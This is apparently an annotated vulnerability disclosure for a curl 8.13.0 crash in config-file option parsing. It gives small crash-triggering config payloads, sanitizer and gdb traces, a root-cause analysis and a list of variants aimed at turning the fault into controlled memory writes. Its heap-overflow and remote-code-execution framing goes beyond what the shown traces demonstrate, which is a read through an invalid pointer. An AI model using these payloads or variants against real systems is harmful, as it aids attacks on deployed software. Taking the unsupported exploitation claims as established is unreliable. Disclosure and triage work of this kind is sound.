curl is a command-line tool and library for transferring data with URLs. A library here means a bundle of code that other programs can link against, so the same fetching logic is reused everywhere. One of curl's user-facing features is the ability to read command-line options from a configuration file, passed with -K <config_file>. Internally, the config-file parser is parseconfig(), which hands each option it reads to getparameter(), the same function that processes options typed on the command line. When an option takes a value, getparameter() may call cleanarg() to scrub the value from the process's argument memory (for example, to avoid leaking a password in ps output).

ps is a standard command that lists running processes and their command lines. If you type a password on a command line, anyone who can run ps on the same machine can see it. Scrubbing means overwriting those characters in memory with something harmless once they have been copied where they are needed. That is what cleanarg() is for.

The report describes a heap-based buffer overflow in this parser path, parseconfig() calling into getparameter(), where a crafted config file causes cleanarg() to receive an invalid pointer. The researcher classifies it as CWE-122, Heap-based Buffer Overflow, and describes the outcome as a write-what-where primitive with potential remote code execution.

A primitive in this context means a small, reliable building block an attacker can use. One write-what-where is a primitive; chaining several primitives is how a crash becomes full code execution.

Setup

The affected version stated in the report is:

Text
curl 8.13.0 (x86_64-pc-linux-gnu) libcurl/8.13.0 OpenSSL/3.0.13 libpsl/0.21.2
  Release-Date: 2025-04-02

This line is what curl --version prints. It names the curl version, the platform it was built for (x86_64-pc-linux-gnu, meaning a 64-bit Intel-style Linux machine), the version of the libcurl library, and the versions of a few supporting libraries (OpenSSL for encryption, libpsl for the public suffix list used in cookie handling). The release date is 2 April 2025.

The report also says the issue affects any version after 8.13.0 (dev-versions) that include cleanarg() and have writable argv support. Writable argv means the operating system lets a program modify the words it was started with. On most Linux systems it does, which is what makes the password-scrubbing trick possible in the first place.

Testing was done on two systems:

  • Ubuntu 24.04.1, kernel 6.11.0-21-generic
  • Kali, kernel 6.11.2-1kali1

Ubuntu and Kali are two Linux distributions; the kernel line identifies the core of the operating system. Testing was done on two different distributions.

The researcher built curl from source. Building from source means downloading the human-written code and compiling it into a runnable program yourself, rather than installing a ready-made package. The steps are:

  1. Download and unpack the release:
Bash
wget https://github.com/curl/curl/releases/download/curl-8_13_0/curl-8.13.0.zip && unzip curl-8.13.0.zip && cd curl-8.13.0

wget downloads a file from a URL. The URL points at the 8.13.0 release archive on GitHub. unzip extracts the archive, and cd moves you into the extracted folder. The && means "only run the next command if this one succeeded".

  1. Build and install:
Bash
./configure --with-openssl
 make all && sudo make install
 curl --version

./configure inspects your machine and prepares the build; --with-openssl asks for the OpenSSL encryption library to be used. make all compiles the code into programs. sudo make install copies the result into system locations, which needs administrator rights, hence sudo. curl --version then prints the version line shown above, confirming the new build is the one that runs.

For triage, a second build is made with sanitizer flags:

Bash
CFLAGS="-fsanitize=address,undefined -g -O0 -fno-omit-frame-pointer" ./configure --with-openssl
 make all && sudo make install

CFLAGS passes extra instructions to the compiler. -fsanitize=address,undefined turns on AddressSanitizer and UndefinedBehaviorSanitizer, which watch memory accesses and undefined operations at runtime. -g keeps debugging information so gdb can show source lines. -O0 disables optimisation, so the compiled code matches the source line by line. -fno-omit-frame-pointer keeps a piece of bookkeeping that makes stack traces readable. The rest of the command is the same build as before.

No account, role or network precondition is described: the trigger is a local config file passed to curl -K.

Finding it

The researcher found that a config file containing certain short options followed by a value causes a segmentation fault. The payloads are described as being appendable anywhere on a new line in the config file, and all of them lead to the same crash path:

Bash
echo -ne "-vvvuAAAA" > malicious_config_file1.conf     (u for --user <user:password> )
echo -ne "-vvvUAAAA" > malicious_config_file2.conf     (U for --proxy-user <user:password> )
echo -ne "-vvvEAAAA" > malicious_config_file3.conf     (E for --cert <certificate[:password]> )

echo -ne prints text without a trailing newline (-n) and interprets backslash escapes (-e). The > redirects the output into a file. So each line creates a small text file whose entire contents are the quoted string.

Each payload is a cluster of short options: three v flags, then an option that takes a value (u, U or E), then the value AAAA. In curl, -v means verbose (print more detail about what it is doing). -u is short for --user, which takes a username and password. -U is short for --proxy-user, the same idea for a proxy server. -E is short for --cert, which takes a client certificate. Short options can be bundled together, so -vvvuAAAA is read as -v -v -v -u AAAA.

Running curl with any of these files crashes:

Bash
curl -K malicious_config_file1.conf
zsh: segmentation fault  curl -K malicious_config_file1.conf
Bash
curl -K malicious_config_file2.conf
  zsh: segmentation fault  curl -K malicious_config_file2.conf
Bash
curl -K malicious_config_file3.conf
  zsh: segmentation fault  curl -K malicious_config_file3.conf

-K tells curl to read options from the named file. The second line in each block is the shell's report that the program died with a segmentation fault. zsh is the shell (the program that reads your typed commands) in use here.

The kernel log confirms a fault at address 0x5 inside libc:

Text
>> sudo dmesg |tail -n 6

  [176771.791272] curl[132987]: segfault at 5 ip 00007f3a8db8b75d sp 00007ffd419fd958 error 4 in libc.so.6[18b75d,7f3a8da28000+188000] likely on CPU 3 (core 3, socket 0)
  [176771.791357] Code: 00 00 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 33 01 00 00 <c5> fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 c5 f8 77 c3 66 66

  [176778.655937] curl[132996]: segfault at 5 ip 0000792ad5f8b75d sp 00007fff028cfc18 error 4 in libc.so.6[18b75d,792ad5e28000+188000] likely on CPU 6 (core 2, socket 1)
  [176778.656011] Code: 00 00 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 33 01 00 00 <c5> fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 c5 f8 77 c3 66 66

  [176783.987409] curl[133003]: segfault at 5 ip 000079c33cd8b75d sp 00007ffe06464158 error 4 in libc.so.6[18b75d,79c33cc28000+188000] likely on CPU 0 (core 0, socket 0)
  [176783.987474] Code: 00 00 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 33 01 00 00 <c5> fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 c5 f8 77 c3 66 66

dmesg prints the kernel's log, and tail -n 6 shows only the last six lines. Each line records one crash. segfault at 5 means the program tried to touch address 0x5, which is not a valid place to look. ip is the instruction pointer, the address of the instruction that was executing. sp is the stack pointer. error 4 encodes the kind of fault. libc.so.6 is the standard C library, the shared code that provides functions like strlen. The Code: line is a hex dump of the machine instructions around the faulting one, with the faulting instruction marked by angle brackets. The three entries show the same fault at the same offset inside libc, on different CPUs and with different random addresses, which is what you expect from a deterministic bug.

Exploitation

Step 1: reproduce the crash

Create a config file with one of the payloads and run curl against it:

Bash
echo -ne "-vvvuAAAA" > malicious_config_file1.conf
curl -K malicious_config_file1.conf

The -K option tells curl to read options from the file. Inside the file, -vvvuAAAA is parsed as the v flag three times followed by u (--user) with the value AAAA. The process segfaults.

Reproducing first matters because a crash you can trigger on demand is the starting point for every later step. Without a reliable reproduction you cannot tell whether a change in behaviour is meaningful.

Step 2: triage with AddressSanitizer

Rebuild with sanitizers and run the same command:

Text
pc@pc22:~/Downloads$ curl -K malicious_config_file1.conf
AddressSanitizer:DEADLYSIGNAL
------------------------------------------------------------------------------------
      ==140300==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000005 (pc 0x72133b58b75d bp 0x7ffe1b2c0b20 sp 0x7ffe1b2c02a8 T0)
      ==140300==The signal is caused by a READ memory access.
      ==140300==Hint: address points to the zero page.
          #0 0x72133b58b75d in __strlen_avx2 ../sysdeps/x86_64/multiarch/strlen-avx2.S:76
          #1 0x63e45d7996dc in cleanarg /home/bobo/Downloads/curl-8.13.0/src/tool_getparam.c:583
          #2 0x63e45d7b2d19 in getparameter /home/bobo/Downloads/curl-8.13.0/src/tool_getparam.c:2901
          #3 0x63e45d7b1ad8 in getparameter /home/bobo/Downloads/curl-8.13.0/src/tool_getparam.c:2790
          #4 0x63e45d7b4205 in parse_args /home/bobo/Downloads/curl-8.13.0/src/tool_getparam.c:3016
          #5 0x63e45d7b76ba in main /home/bobo/Downloads/curl-8.13.0/src/tool_main.c:284

  AddressSanitizer can not provide additional info.
  SUMMARY: AddressSanitizer: SEGV ../sysdeps/x86_64/multiarch/strlen-avx2.S:76 in __strlen_avx2
  ==140300==ABORTING

The first line is the shell prompt followed by the command. AddressSanitizer then reports a SEGV (segmentation violation) on address 0x000000000005, caused by a read. The #0 to #5 lines are a stack trace: a list of function calls, innermost first, showing who called whom. Read it from the bottom up: main called parse_args, which called getparameter (handling -K), which called parseconfig, which called getparameter again (handling the option from the file), which called cleanarg, which called strlen (shown as __strlen_avx2, an optimised version). The crash is a read at address 0x5 inside strlen.

strlen is a standard function that measures the length of a piece of text by walking through it until it finds a zero byte. If you hand it a nonsense address, it tries to read from that address and the program dies. The pc, bp and sp values are the program counter, base pointer and stack pointer at the moment of the fault.

Step 3: confirm the path in gdb

The same crash is confirmed under gdb with the GEF extension:

Text
>> gdb curl
(gef)> r -K malicious_config_file1.conf
(gef)> where
--------------------------------- gdb output ------------------------------------------------------
  #0  __strlen_avx2 () at ../sysdeps/x86_64/multiarch/strlen-avx2.S:76
  #1  0x00007ffff787d827 in ___interceptor_strlen (s=0x5 <error: Cannot access memory at address 0x5>) at ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:389
  #2  0x00005555555926dd in cleanarg (str=0x5 <error: Cannot access memory at address 0x5>) at tool_getparam.c:583
  #3  0x00005555555abd1a in getparameter (flag=0x50300000f281 "vvvuAAAA", nextarg=0x50300000f285 "AAAA", cleararg1=0x0, cleararg2=0x0, usedarg=0x7fffffffd79e, global=0x7ffff4300030,
      config=0x51a000000080) at tool_getparam.c:2901
  #4  0x00005555555b9434 in parseconfig ()
  #5  0x00005555555aaad9 in getparameter (flag=0x7fffffffe1b8 "K", nextarg=0x7fffffffe1ba "malicious_config_file1.conf", cleararg1=0x7fffffffe1b7 "-K",
      cleararg2=0x7fffffffe1ba "malicious_config_file1.conf", usedarg=0x7ffff4200030, global=0x7ffff4300030, config=0x51a000000080) at tool_getparam.c:2790
  #6  0x00005555555ad206 in parse_args (global=0x7ffff4300030, argc=0x3, argv=0x7fffffffde48) at tool_getparam.c:3016
  #7  0x00005555555b6a45 in operate ()
  #8  0x00005555555b06bb in main (argc=0x3, argv=0x7fffffffde48) at tool_main.c:284
--------------------------------- Code ----------------------------------------------------------------------
      0x7ffff678b74d <__strlen_avx2+000d> and    eax, 0xfff
      0x7ffff678b752 <__strlen_avx2+0012> cmp    eax, 0xfe0
      0x7ffff678b757 <__strlen_avx2+0017> ja     0x7ffff678b890 <__strlen_avx2+336>
    → 0x7ffff678b75d <__strlen_avx2+001d> vpcmpeqb ymm1, ymm0, YMMWORD PTR [rdi]         // $rdi = 0x5 so unvalid address
      0x7ffff678b761 <__strlen_avx2+0021> vpmovmskb eax, ymm1
      0x7ffff678b765 <__strlen_avx2+0025> test   eax, eax
      0x7ffff678b767 <__strlen_avx2+0027> je     0x7ffff678b7c0 <__strlen_avx2+128>
      0x7ffff678b769 <__strlen_avx2+0029> tzcnt  eax, eax
      0x7ffff678b76d <__strlen_avx2+002d> vzeroupper
-------------------------------------------------------------------------------------------------------------

gdb curl starts the debugger on the curl program. r -K malicious_config_file1.conf runs it with those arguments (r is short for run). where prints the stack trace. The trace matches the sanitizer output, with the extra detail that cleanarg was called with str=0x5, and the getparameter frame shows the arguments it received: flag is the string vvvuAAAA, nextarg is AAAA, and cleararg1 and cleararg2 are both 0x0 (a null pointer, meaning "points nowhere").

The Code section shows the machine instructions around the fault. The arrow marks the instruction that faulted: vpcmpeqb ymm1, ymm0, YMMWORD PTR [rdi], which compares a block of bytes at the address held in the rdi register. The comment notes $rdi = 0x5, so the processor tried to read from address 0x5 and the operating system refused. rdi is one of the processor's registers, small storage slots inside the CPU used to hold values while instructions run.

The researcher draws two conclusions from this output:

  1. The root cause of the crash is that strlen tried to load data at the invalid address 0x5, an invalid pointer dereference into unmapped memory. Dereferencing a pointer means following it to the memory it points at. Unmapped memory is memory that has not been assigned to the program, so touching it is forbidden.
  2. The crash happens in getparameter() at tool_getparam.c:2901, which calls cleanarg(clearthis) with an invalid address that is then passed to strlen.

Step 4: find where the invalid pointer comes from

To trace the origin of the invalid address, the researcher sets breakpoints just before cleanarg(clearthis) at tool_getparam.c:2900 and tool_getparam.c:2901. A breakpoint pauses the program at a chosen line so you can inspect its state. The report notes that for other options such as --proxy-user (U) or --cert (E) the breakpoints have to be set at different lines in tool_getparam.c.

The relevant code for --user is:

Text
2898     case C_USER: /* --user */
2899       /* user:password  */
2900       err = getstr(&config->userpwd, nextarg, ALLOW_BLANK); //------set break point here  ----
2901       cleanarg(clearthis);                                  //--------- set break point here  --------
2902       break;

This is a switch statement: curl looks at which option it is handling and jumps to the matching case. For --user, line 2900 copies the value into the configuration (getstr), and line 2901 scrubs it (cleanarg). The comments mark where the researcher placed breakpoints.

Running under gdb:

Text
>> gdb curl
(gef)> break tool_getparam.c:2900
(gef)> break tool_getparam.c:2901
(gef)> r -K malicious_config_file1.conf

      ──────────────────────source:tool_getparam.c+2900 ───────────────
2895     case C_UPLOAD_FILE: /* --upload-file */
2896       err = parse_upload_file(config, nextarg);
2897       break;
2898     case C_USER: /* --user */
2899       /* user:password  */
// nextarg=0x00007fffffffd5a0  →  [...]  →  0xbebebe0041414141 ("AAAA"?), config=0x00007fffffffd578  →  [...]  →  0x0000000000000000
●-> 2900       err = getstr(&config->userpwd, nextarg, ALLOW_BLANK);
●  2901       cleanarg(clearthis);
2902       break;
2903     case C_PROXY_USER: /* --proxy-user */
2904       /* Proxy user:password  */
2905       err = getstr(&config->proxyuserpwd, nextarg, ALLOW_BLANK);
 ────────────── threads ─────────────
  [#0] Id 1, Name: "curl", stopped 0x5555555abc83 in getparameter (), reason: BREAKPOINT
 ────────────── trace ──────────────
  [#0] 0x5555555abc83 → getparameter(flag=0x50300000f281 "vvvuAAAA", nextarg=0x50300000f285 "AAAA", cleararg1=0x0, cleararg2=0x0, usedarg=0x7fffffffd79e, global=0x7ffff4300030, config=0x51a000000080)
  [#1] 0x5555555b9434 → parseconfig()
  [#2] 0x5555555aaad9 → getparameter(flag=0x7fffffffe1b9 "K", nextarg=0x7fffffffe1bb "malicious_config_file1.conf", cleararg1=0x7fffffffe1b8 "-K", cleararg2=0x7fffffffe1bb "malicious_config_file1.conf", usedarg=0x7ffff4200030, global=0x7ffff4300030, config=0x51a000000080)
  [#3] 0x5555555ad206 → parse_args(global=0x7ffff4300030, argc=0x3, argv=0x7fffffffde48)
  [#4] 0x5555555b6a45 → operate()
  [#5] 0x5555555b06bb → main(argc=0x3, argv=0x7fffffffde48)
  ──────────────────────────────────────────────────────────────

  (gef)> p clearthis
       $1 = 0x5 <error: Cannot access memory at address 0x5>

#ifdef HAVE_WRITABLE_ARGV means the enclosed lines are only compiled in when the platform supports writable argv. On such platforms, clearthis is computed as &cleararg1[parse + 2 - flag]. This is pointer arithmetic: parse and flag are addresses, and subtracting them gives a distance. Adding 2 and using the result as an index into cleararg1 means "go that many bytes past the start of cleararg1". The code assumes parse and flag point into the same buffer as cleararg1, so the distance is a small, sensible offset. Inspecting the variables in gdb:

Text
(gef)>  p &parse
   $12 = (const char **) 0x7fffffffd5c0
(gef)> p parse
   $13 = 0x50300000f284 "uAAAA"
-----------------------
(gef)> p &flag
    $14 = (const char **) 0x7fffffffd5a8
(gef)> p flag
  $15 = 0x50300000f281 "vvvuAAAA"
-----------------------
(gef)> p &cleararg1
  $16 = (char **) 0x7fffffffd598
(gef) = p cleararg1
  $17 = 0x0
-----------------------
(gef)> p parse+2-flag
  $17 = 0x5             // 0x50300000f284 +2 - 0x50300000f281

p &parse prints the address where the variable parse is stored; p parse prints its value, which is the address of the string uAAAA. Likewise flag holds the address of vvvuAAAA. cleararg1 holds 0x0, a null pointer. The last command computes parse + 2 - flag: the two addresses differ by 3 (because uAAAA starts three characters after vvvuAAAA), and adding 2 gives 5. So clearthis becomes 0x5.

The value of clearthis is 2 plus the number of v letters in the payload, which in this example gives 0x5. The researcher notes that this means an attacker could partially control what is written into the [rdi] register, which may lead to arbitrary read/write or code execution. In other words, by changing how many v flags come before the value-taking option, the attacker changes the number that ends up as the address.

Root cause

The pointer arithmetic clearthis = &cleararg1[parse + 2 - flag] assumes that parse and flag point into the same buffer as cleararg1, so that the difference between them is a small offset within that buffer. The computed offset (2 plus the number of leading v flags) is used as an index into cleararg1, which is 0x0 in the trace. The result is the invalid pointer 0x5, which cleanarg() passes to strlen().

A simple comparison: imagine a librarian who is told "the book you want is three shelves to the right of the red book". That works if both books are on the same shelf unit. If the red book is actually in a different building, "three shelves to the right" points at nothing, and the librarian walks into a wall. The code assumes the same shelf unit; the config-file path puts the strings in different places.

The report frames the underlying issue as a heap-based buffer overflow in the parseconfig() to getparameter() path, where cleanarg() is reached with a pointer that was never validated against the buffer it is supposed to point into. The report does not describe any specific defence that was bypassed; the assignment shown is compiled in when HAVE_WRITABLE_ARGV is defined.

Impact

The report lists three impacts:

  • Arbitrary write. An attacker might achieve a write-what-where condition, allowing modification of arbitrary memory locations within the process's address space. In plain terms: the attacker could, in principle, choose a value and a place to put it, anywhere in curl's memory.
  • Potential remote code execution. With advanced techniques (partial pointer overwrite, heap grooming and similar), the attacker could overwrite function pointers or return addresses, leading to control of execution flow and the ability to run arbitrary code as the curl process. A function pointer is a variable holding the address of a function to call; overwriting it redirects the program. A return address is where a function goes back to when it finishes; overwriting it redirects the program too. Heap grooming means arranging memory allocations so that the attacker's data lands next to something valuable.
  • Information disclosure. Pointing clearthis at attacker-chosen addresses and calling strlen() can leak heap contents (such as pointers, secrets or other sensitive data) by returning string lengths or causing controlled crashes. Even a crash can be informative: the address in the crash message tells the attacker something about memory layout.

The report hedges the exploitation scenarios: chaining multiple overwrites could accumulate a larger total write; achieving arbitrary code execution would be highly complex, especially on x86-64; and the described attacks are noted as more likely to occur on x86 32-bit architecture. x86-64 is the 64-bit version of the Intel instruction set; x86 32-bit is the older 32-bit version.

Fix

The report offers a fix suggestion rather than a merged patch. The researcher states they are not an expert in C programming and are not certain this is the ideal fix. The suggestion is: since it is known exactly where clearthis is supposed to point (somewhere within the cleararg1 buffer), validate the pointer by ensuring it falls within the bounds of that buffer and points to a NUL-terminated string, so the pointer can be used safely without risking out-of-bounds access or undefined behaviour.

A NUL-terminated string is a piece of text whose end is marked by a zero byte, which is what strlen looks for. Checking that a pointer lies inside a known buffer before using it is the programming equivalent of checking that an address is on your street before driving there.

Variants to test

  • Other value-taking short options in a config file. The report shows u (--user), U (--proxy-user) and E (--cert). Try other short options that take a value, prefixed by a varying number of v flags, in a -K config file. A positive result is a segfault at a small address such as 0x5, or an ASan report pointing at cleanarg() from getparameter().
  • Vary the number of leading flags. The computed offset is 2 plus the number of v letters, so changing the count should change the faulting address. A positive result is a crash whose address tracks the flag count.
  • Other platforms with writable argv. The assignment shown is compiled in under HAVE_WRITABLE_ARGV. Test builds on platforms that define it and compare with builds that do not.
  • 32-bit builds. The report notes the described attacks are more likely to occur on x86 bit architecture. A positive result would be a crash that can be steered into a controlled write rather than a plain read fault.
  • Chained overwrites. The report suggests that chaining multiple overwrites might accumulate a larger total write. A positive result would be observable corruption of adjacent heap data across repeated invocations within one process.

Glossary

  • AddressSanitizer (ASan): a debugging tool built into a program that detects invalid memory accesses and reports them with a stack trace.
  • argv: the list of words a program was started with on the command line.
  • Breakpoint: a marker that pauses a program in a debugger at a chosen line.
  • Buffer: a reserved stretch of memory meant to hold data such as text.
  • Buffer overflow: writing past the end of a buffer into neighbouring memory.
  • Build from source: compiling a program from its human-written code rather than installing a ready-made package.
  • CWE-122: the catalogue entry for heap-based buffer overflow in the Common Weakness Enumeration.
  • Dereference: follow a pointer to the memory it points at.
  • Function pointer: a variable holding the address of a function to call.
  • gdb: the GNU debugger, used to pause and inspect a running program.
  • GEF: an add-on for gdb that improves its output.
  • Heap: the part of memory a program requests dynamically while running.
  • Heap grooming: arranging memory allocations so attacker-controlled data lands next to something valuable.
  • Information disclosure: leaking data the attacker should not see.
  • Instruction pointer (ip): the address of the instruction currently executing.
  • Kernel: the core of the operating system, which enforces memory protection.
  • libc: the standard C library, providing functions such as strlen.
  • Library: a bundle of reusable code that other programs link against.
  • NUL-terminated string: text whose end is marked by a zero byte.
  • Pointer: a value that is the address of another piece of memory.
  • Pointer arithmetic: adding or subtracting addresses to compute a new address.
  • Primitive: a small, reliable building block an attacker can use.
  • ps: a command that lists running processes and their command lines.
  • Remote code execution (RCE): getting a program to run code the attacker supplied.
  • Return address: where a function goes back to when it finishes.
  • Segmentation fault (segfault): the operating system killing a program that touched forbidden memory.
  • Stack pointer (sp): a register pointing at the current top of the call stack.
  • Stack trace: a list of function calls, innermost first, showing who called whom.
  • strlen: a standard function that measures a string's length by scanning for a zero byte.
  • sudo: a command that runs another command with administrator rights.
  • Unmapped memory: memory not assigned to the program, so touching it is forbidden.
  • Writable argv: a platform feature that lets a program modify the words it was started with.
  • write-what-where: a bug that lets an attacker choose both a value and an address to write it to.
  • x86-64: the 64-bit version of the Intel instruction set.
  • x86 32-bit: the older 32-bit version of the Intel instruction set.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.